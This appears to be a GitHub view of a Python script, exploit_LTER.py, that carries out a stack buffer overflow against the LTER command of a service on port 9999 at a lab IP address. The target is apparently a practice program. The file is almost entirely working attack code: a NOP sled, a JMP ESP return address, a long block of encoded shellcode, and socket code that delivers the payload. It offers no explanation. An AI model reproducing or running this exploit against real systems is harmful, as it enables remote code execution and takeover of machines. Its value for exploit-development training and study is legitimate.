-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathexploit_LTER.py
81 lines (75 loc) · 6.44 KB
/
exploit_LTER.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import socket
import sys
import struct
import hexdump
from keystone import *
host = "192.168.112.133"
port = 9999
#pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au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\x56\x6c\x4e\x6b\x71"
buf += "\x42\x52\x34\x4c\x4b\x62\x52\x47\x58\x46\x6f\x4f\x47"
buf += "\x62\x6a\x65\x76\x66\x51\x6b\x4f\x6e\x4c\x37\x4c\x31"
buf += "\x71\x31\x6c\x44\x42\x34\x6c\x45\x70\x5a\x61\x7a\x6f"
buf += "\x44\x4d\x77\x71\x4a\x67\x39\x72\x38\x72\x71\x42\x42"
buf += "\x77\x4c\x4b\x66\x32\x46\x70\x6e\x6b\x51\x5a\x55\x6c"
buf += "\x6c\x4b\x42\x6c\x44\x51\x61\x68\x4d\x33\x73\x78\x57"
buf += "\x71\x48\x51\x62\x71\x4e\x6b\x50\x59\x45\x70\x45\x51"
buf += "\x6e\x33\x4e\x6b\x72\x69\x65\x48\x6a\x43\x35\x6a\x42"
buf += "\x69\x6e\x6b\x50\x34\x4e\x6b\x56\x61\x6e\x36\x44\x71"
buf += "\x59\x6f\x4e\x4c\x5a\x61\x78\x4f\x54\x4d\x75\x51\x38"
buf += "\x47\x30\x38\x79\x70\x31\x65\x58\x76\x54\x43\x43\x4d"
buf += "\x6c\x38\x37\x4b\x43\x4d\x65\x74\x34\x35\x49\x74\x56"
buf += "\x38\x6c\x4b\x33\x68\x61\x34\x37\x71\x39\x43\x50\x66"
buf += "\x6e\x6b\x36\x6c\x70\x4b\x6e\x6b\x63\x68\x55\x4c\x73"
buf += "\x31\x59\x43\x6e\x6b\x54\x44\x4e\x6b\x45\x51\x38\x50"
buf += "\x6d\x59\x43\x74\x76\x44\x47\x54\x53\x6b\x51\x4b\x35"
buf += "\x31\x42\x79\x31\x4a\x36\x31\x79\x6f\x39\x70\x31\x4f"
buf += "\x51\x4f\x53\x6a\x6c\x4b\x32\x32\x78\x6b\x6c\x4d\x73"
buf += "\x6d\x42\x48\x66\x53\x67\x42\x45\x50\x35\x50\x75\x38"
buf += "\x72\x57\x63\x43\x47\x42\x51\x4f\x76\x34\x61\x78\x72"
buf += "\x6c\x70\x77\x66\x46\x57\x77\x4b\x4f\x68\x55\x6e\x58"
buf += "\x6c\x50\x65\x51\x57\x70\x45\x50\x35\x79\x4a\x64\x66"
buf += "\x34\x72\x70\x63\x58\x77\x59\x6d\x50\x72\x4b\x73\x30"
buf += "\x6b\x4f\x4b\x65\x72\x70\x76\x30\x46\x30\x30\x50\x33"
buf += "\x70\x50\x50\x57\x30\x72\x70\x30\x68\x49\x7a\x64\x4f"
buf += "\x4b\x6f\x39\x70\x39\x6f\x4b\x65\x6c\x57\x70\x6a\x33"
buf += "\x35\x52\x48\x4f\x30\x4f\x58\x72\x50\x4f\x76\x43\x58"
buf += "\x33\x32\x73\x30\x72\x31\x43\x6c\x6d\x59\x58\x66\x71"
buf += "\x7a\x42\x30\x52\x76\x36\x37\x33\x58\x4f\x69\x4c\x65"
buf += "\x70\x74\x33\x51\x6b\x4f\x58\x55\x6d\x55\x69\x50\x72"
buf += "\x54\x56\x6c\x4b\x4f\x30\x4e\x55\x58\x53\x45\x7a\x4c"
buf += "\x32\x48\x48\x70\x68\x35\x4f\x52\x70\x56\x39\x6f\x38"
buf += "\x55\x30\x68\x53\x53\x30\x6d\x52\x44\x67\x70\x6c\x49"
buf += "\x58\x63\x63\x67\x50\x57\x71\x47\x76\x51\x6c\x36\x43"
buf += "\x5a\x47\x62\x42\x79\x32\x76\x6d\x32\x69\x6d\x30\x66"
buf += "\x6f\x37\x73\x74\x57\x54\x75\x6c\x37\x71\x36\x61\x4e"
buf += "\x6d\x71\x54\x37\x54\x76\x70\x48\x46\x43\x30\x70\x44"
buf += "\x50\x54\x72\x70\x53\x66\x42\x76\x46\x36\x31\x56\x63"
buf += "\x66\x32\x6e\x31\x46\x36\x36\x76\x33\x70\x56\x70\x68"
buf += "\x42\x59\x5a\x6c\x67\x4f\x4d\x56\x39\x6f\x49\x45\x6b"
buf += "\x39\x6b\x50\x42\x6e\x32\x76\x57\x36\x39\x6f\x76\x50"
buf += "\x73\x58\x46\x68\x6b\x37\x57\x6d\x35\x30\x59\x6f\x68"
buf += "\x55\x6f\x4b\x59\x70\x45\x4d\x45\x7a\x37\x7a\x33\x58"
buf += "\x39\x36\x4c\x55\x6f\x4d\x4f\x6d\x6b\x4f\x79\x45\x75"
buf += "\x6c\x35\x56\x43\x4c\x55\x5a\x6b\x30\x69\x6b\x59\x70"
buf += "\x50\x75\x63\x35\x4d\x6b\x62\x67\x54\x53\x61\x62\x70"
buf += "\x6f\x52\x4a\x73\x30\x50\x53\x49\x6f\x4b\x65\x41\x41"
exploit = "\x90" * 2006
exploit += struct.pack("<L", 0x62501205) #jmp esp
exploit += buf
buffer = "LTER "
buffer += "." #Let us trigger
buffer += exploit
buffer += "\r\n"
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()